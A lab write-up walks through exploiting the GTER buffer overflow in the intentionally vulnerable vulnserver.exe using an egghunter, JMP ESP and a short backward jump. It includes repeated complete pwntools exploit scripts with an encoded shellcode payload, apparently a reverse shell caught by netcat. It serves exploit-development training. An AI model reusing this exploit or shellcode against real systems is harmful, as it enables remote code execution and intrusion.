Exploiting vulnserver.exe — GTER command using egghunter

8 minute read

In this write-up, I will discuss about attacking GTER command of vulnserver.exe with egghunter. The exploit for this command is similar to KSTET command, so please check this write-up first before proceeding to this post as I will skip some of the details discussed on the previous post.

To get started, let’s read the source code of vulnserver.

The code tells us that it only copies 180 bytes of our input (RecvBuf) to GterBuf, and it passes GterBuf to Function1().

Let’s inspect Function1 to have a better understanding what happens next.

The contents of GterBuf is copied to Buffer2S without checking the length. This is where the vulnerability occurs. Since Buffer2S can only handle 140 bytes and GterBuf can handle up to 180 bytes of input, we can smash the stack by sending a payload greater than 140 bytes.

Our initial payload should look like this.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "GTER "  
payload += "A"*180

r.sendline(payload)  
r.close()

Sending this payload to vulnserver makes the program crash.

Upon checking the registers, it seems that we can now control the instruction pointer.

Let’s fuzz this program to get the offset we need to control EIP.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "GTER "  
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9"

r.sendline(payload)  
r.close()

Sending this payload gives us the unique pattern that has overwritten the instruction pointer.

We can now control the instruction pointer with 151 bytes of buffer.

Now, our issue here is that we only have 180 bytes of space for our payload, and our shellcode have a length of 300 to 400 on average. We need to do a trick for sending our shellcode on the program, and at the same time jumping into it.

Upon checking again the source code, I have seen some unexploitable commands that can be used to inject our shellcode.

GDOG command stores 1024 bytes of our input to GdogBuf. Given this, we need to have a 2-stage payload to make our exploit work.

- Stage 1 — injecting our payload using GDOG
- Stage 2 — jumping to shellcode using GTER vulnerability

Since we can say that using the stage 1 payload, our shellcode can be located inside the program. Given this, we can use an egghunter to locate our injected shellcode.

We can easily generate an egghunter shellcode with the help of mona by using !mona egg -t arzy.

Now, we need to think of a way to execute this egghunter shellcode. The length of this shellcode is 32 bytes, and we have a limited space for our payload. We can only place this shellcode in the buffer before our instruction pointer control.

Our stage 2 payload structure should look like this.

payload = <buffer with egghunter shellcode> + <instruction pointer control>

Now, we need to jump backwards to our egghunter shellcode by using JMP ESP and RELATIVE SHORT JMP.

I have introduced JMP ESP and RELATIVE SHORT JMP from my previous posts, you may read about them from these posts.

Let’s check if there is an available JMP ESP instruction that we can use with the help of mona. We can simply use !mona jmp -r esp to get a list of JMP ESP instructions.

We can use 0x625011af as our JMP ESP instruction.

Next, we need to construct our RELATIVE SHORT JMP instruction. Since our egghunter is just 32 bytes and our buffer length is 70 bytes, we can try to use JMP -50.

Let’s reconstruct our payload structure, it should now look like this.

payload = <buffer with egghunter> + <jmp esp> + <jmp -50>

Combining everything above, our payload script should now look like this. Let’s use “\xcc” as our egghunter placeholder.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

payload = ""  
payload += "GTER "  
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer  
payload += "\xcc"*32 # egghunter placeholder  
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment  
payload += p32(0x625011af) # JMP ESP  
payload += "\xeb\xce\x90\x90" # JMP -50

r.sendline(payload)  
r.close()

We successfully landed on the location that we want. Let’s replace this with our egghunter and construct our stage 1 payload.

Our stage 1 payload should include the egg and the shellcode. The payload structure should look like this.

payload = "arzy"*2 + NOP sled + shellcode

Now, let’s generate our shellcode.

To check if the egghunter can really locate our shellcode, we can add a debugging instruction (\xcc) before the NOP sled.

Let’s now combine everything above in our payload script.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode =  b""  
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"  
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"  
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"  
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"  
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"  
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"  
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"  
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"  
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"  
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"  
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"  
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"  
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"  
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"  
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"  
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"  
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"  
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"  
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"  
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"  
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"  
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"  
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"  
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"  
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"  
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"  
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"  
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"  
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"  
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"  
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"  
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"

payload = "GDOG "  
payload += "arzy"*2  
payload += "\xcc"*4  
payload += "\x90"*100  
payload += shellcode

r.readline()  
r.sendline(payload)  
r.readline()

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"  
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

payload = ""  
payload += "GTER "  
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer  
payload += egghunter  
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment  
payload += p32(0x625011af) # JMP ESP  
payload += "\xeb\xce\x90\x90" # JMP -50

r.sendline(payload)  
r.close()

Nothing happened after running the exploit. It seems that there is an issue with our exploit script.

Upon reviewing the exploit script, I remembered that we cannot use GDOG coomand for our shellcode injection.

During the execution of GTER command, the contents of GdogBuf is cleared using memset().

Upon testing different commands, the TRUN command was able to inject our shellcode.

Let’s rewrite our exploit script.

from pwn import *  
import time

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode =  b""  
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"  
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"  
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"  
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"  
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"  
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"  
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"  
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"  
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"  
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"  
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"  
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"  
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"  
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"  
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"  
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"  
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"  
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"  
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"  
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"  
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"  
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"  
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"  
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"  
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"  
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"  
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"  
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"  
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"  
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"  
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"  
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"

payload = "TRUN ."  
payload += "arzy"*2  
payload += "\xcc"  
payload += "\x90"*100  
payload += shellcode

r.readline()  
r.sendline(payload)  
r.readline()

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"  
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

payload = ""  
payload += "GTER "  
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer  
payload += egghunter  
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment  
payload += p32(0x625011af) # JMP ESP  
payload += "\xeb\xce\x90\x90" # JMP -50

r.sendline(payload)  
r.close()

It successfully landed on our debugger. Let’s try to continue the program and check if the shellcode is executed successfully.

There was an issue encountered during shellcode execution. It seems that there was an issue with the contents of the registers or stack during execution.

Since the program is running as a server, I tried to close the current socket and reopened a new connection for the egghutner payload.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode =  b""  
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"  
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"  
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"  
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"  
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"  
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"  
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"  
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"  
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"  
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"  
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"  
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"  
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"  
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"  
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"  
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"  
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"  
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"  
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"  
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"  
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"  
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"  
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"  
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"  
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"  
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"  
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"  
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"  
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"  
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"  
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"  
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"

payload = "TRUN ."  
payload += "arzy"*2  
payload += "\xcc"  
payload += "\x90"*100  
payload += shellcode

r.readline()  
r.sendline(payload)  
r.readline()  
r.close()

#Reopening connection to vulnserver  
r = remote(host, port)

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"  
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

payload = ""  
payload += "GTER "  
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer  
payload += egghunter  
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment  
payload += p32(0x625011af) # JMP ESP  
payload += "\xeb\xce\x90\x90" # JMP -50

r.sendline(payload)  
r.close()

Again, we landed successfully on our desired location.

Continuing the program after the debug instruction.

The program continued successfully.

Going back to the netcat listener, it seems that the shellcode was executed successfully.

Let’s remove the debugger on our final script.

from pwn import *

host = '192.168.136.241'  
port = 9999

r = remote(host, port)

shellcode =  b""  
shellcode += b"\xba\x36\xdb\xa5\x76\xd9\xc4\xd9\x74\x24\xf4"  
shellcode += b"\x58\x2b\xc9\xb1\x52\x83\xc0\x04\x31\x50\x0e"  
shellcode += b"\x03\x66\xd5\x47\x83\x7a\x01\x05\x6c\x82\xd2"  
shellcode += b"\x6a\xe4\x67\xe3\xaa\x92\xec\x54\x1b\xd0\xa0"  
shellcode += b"\x58\xd0\xb4\x50\xea\x94\x10\x57\x5b\x12\x47"  
shellcode += b"\x56\x5c\x0f\xbb\xf9\xde\x52\xe8\xd9\xdf\x9c"  
shellcode += b"\xfd\x18\x27\xc0\x0c\x48\xf0\x8e\xa3\x7c\x75"  
shellcode += b"\xda\x7f\xf7\xc5\xca\x07\xe4\x9e\xed\x26\xbb"  
shellcode += b"\x95\xb7\xe8\x3a\x79\xcc\xa0\x24\x9e\xe9\x7b"  
shellcode += b"\xdf\x54\x85\x7d\x09\xa5\x66\xd1\x74\x09\x95"  
shellcode += b"\x2b\xb1\xae\x46\x5e\xcb\xcc\xfb\x59\x08\xae"  
shellcode += b"\x27\xef\x8a\x08\xa3\x57\x76\xa8\x60\x01\xfd"  
shellcode += b"\xa6\xcd\x45\x59\xab\xd0\x8a\xd2\xd7\x59\x2d"  
shellcode += b"\x34\x5e\x19\x0a\x90\x3a\xf9\x33\x81\xe6\xac"  
shellcode += b"\x4c\xd1\x48\x10\xe9\x9a\x65\x45\x80\xc1\xe1"  
shellcode += b"\xaa\xa9\xf9\xf1\xa4\xba\x8a\xc3\x6b\x11\x04"  
shellcode += b"\x68\xe3\xbf\xd3\x8f\xde\x78\x4b\x6e\xe1\x78"  
shellcode += b"\x42\xb5\xb5\x28\xfc\x1c\xb6\xa2\xfc\xa1\x63"  
shellcode += b"\x64\xac\x0d\xdc\xc5\x1c\xee\x8c\xad\x76\xe1"  
shellcode += b"\xf3\xce\x79\x2b\x9c\x65\x80\xbc\x63\xd1\x02"  
shellcode += b"\xca\x0c\x20\x12\x22\x91\xad\xf4\x2e\x39\xf8"  
shellcode += b"\xaf\xc6\xa0\xa1\x3b\x76\x2c\x7c\x46\xb8\xa6"  
shellcode += b"\x73\xb7\x77\x4f\xf9\xab\xe0\xbf\xb4\x91\xa7"  
shellcode += b"\xc0\x62\xbd\x24\x52\xe9\x3d\x22\x4f\xa6\x6a"  
shellcode += b"\x63\xa1\xbf\xfe\x99\x98\x69\x1c\x60\x7c\x51"  
shellcode += b"\xa4\xbf\xbd\x5c\x25\x4d\xf9\x7a\x35\x8b\x02"  
shellcode += b"\xc7\x61\x43\x55\x91\xdf\x25\x0f\x53\x89\xff"  
shellcode += b"\xfc\x3d\x5d\x79\xcf\xfd\x1b\x86\x1a\x88\xc3"  
shellcode += b"\x37\xf3\xcd\xfc\xf8\x93\xd9\x85\xe4\x03\x25"  
shellcode += b"\x5c\xad\x34\x6c\xfc\x84\xdc\x29\x95\x94\x80"  
shellcode += b"\xc9\x40\xda\xbc\x49\x60\xa3\x3a\x51\x01\xa6"  
shellcode += b"\x07\xd5\xfa\xda\x18\xb0\xfc\x49\x18\x91"

payload = "TRUN ."  
payload += "arzy"*2  
payload += "\x90"*100  
payload += shellcode

r.readline()  
r.sendline(payload)  
r.readline()  
r.close()

#Reopening connection to vulnserver  
r = remote(host, port)

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"  
egghunter += "\xef\xb8\x61\x72\x7a\x79\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

payload = ""  
payload += "GTER "  
payload += "A"*(151 - 50 + 2 + 4) # -50 for egghunter buffer, +4 for JMP ESP buffer  
payload += egghunter  
payload += "B"*(48 - 32 - 4) # 48 (buffer for egghunter - egghunter length), -4 for JMP ESP alignment  
payload += p32(0x625011af) # JMP ESP  
payload += "\xeb\xce\x90\x90" # JMP -50

r.sendline(payload)  
r.close()

— ar33zy